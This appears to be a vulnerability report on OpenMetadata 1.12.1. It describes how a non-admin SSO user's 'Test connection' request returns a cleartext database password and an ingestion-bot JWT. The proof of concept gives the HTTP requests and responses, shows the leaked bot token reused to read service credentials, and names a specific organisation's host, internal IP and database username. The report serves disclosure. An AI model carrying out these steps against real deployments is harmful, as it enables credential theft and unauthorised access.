This is not applicable if you are configuring Secrets Store to store the credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:

• The cleartext database password in request.connection.config.password.
• The ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken.

The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.

This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.

Version / Product

• Product: OpenMetadata (open source, Apache 2.0)
• Version: 1.12.1
  • GET /api/v1/system/version →
    {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
• Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (secretsManagerProvider: "db").

Preconditions

• Authenticated SSO user with access to the UI.
• User can open a Database Service and click “Test connection”.
• No server admin role, no shell/DB access.

PoC (short)

1. Login as a regular SSO user.

2. In the UI go to:
   Settings → Services → Database Services → utplrac_scan2_srvetel
   Open the connection tab and click “Test connection”.

3. The browser sends:

POST /api/v1/automations/workflows HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <Azure_AD_user_JWT>
Content-Type: application/json

{
"name": "test-connection-Oracle-XXXX",
"workflowType": "TEST_CONNECTION",
"request": {
"connection": {
"config": {
"type": "Oracle",
"scheme": "oracle+cx_oracle",
"username": "qpro_gobierno_datos",
"password": "********",
"hostPort": "172.16.54.32:1521",
...
}
},
"serviceType": "Database",
"connectionType": "Oracle",
"serviceName": "utplrac_scan2_srvetel"
}
}

Note: in the request the password is masked as "********".

4. The server responds with HTTP 201 and a body similar to:

{
"id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7",
"workflowType": "TEST_CONNECTION",
"request": {
"connection": {
"config": {
"type": "Oracle",
"scheme": "oracle+cx_oracle",
"username": "qpro_gobierno_datos",
"password": "<REAL_PASSWORD_HERE>",
"hostPort": "172.16.54.32:1521",
...
}
},
"serviceType": "Database",
"connectionType": "Oracle",
"serviceName": "utplrac_scan2_srvetel",
"secretsManagerProvider": "db"
},
"openMetadataServerConnection": {
"type": "OpenMetadata",
"hostPort": "http://openmetadata-server:8585/api",
"authProvider": "openmetadata",
"securityConfig": {
"jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..."
},
...
},
"updatedBy": "<regular_user>",
...
}

Key points:

• request.connection.config.password now contains the real Oracle DB password in cleartext.
• openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").

5. Reuse the leaked ingestion-bot JWT:

GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1
Host: catalogodatos-test.utpl.edu.ec
Authorization: Bearer <leaked_ingestion-bot_JWT>
Accept: application/json

The API returns the full database service including username and password, confirming bot-level access.

Impact / Severity

• Any user who can run “Test connection” on a database service can:
  • Recover the cleartext DB credentials.
  • Recover a long‑lived ingestion-bot JWT.
  • Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.

**


**

I classify this as High severity.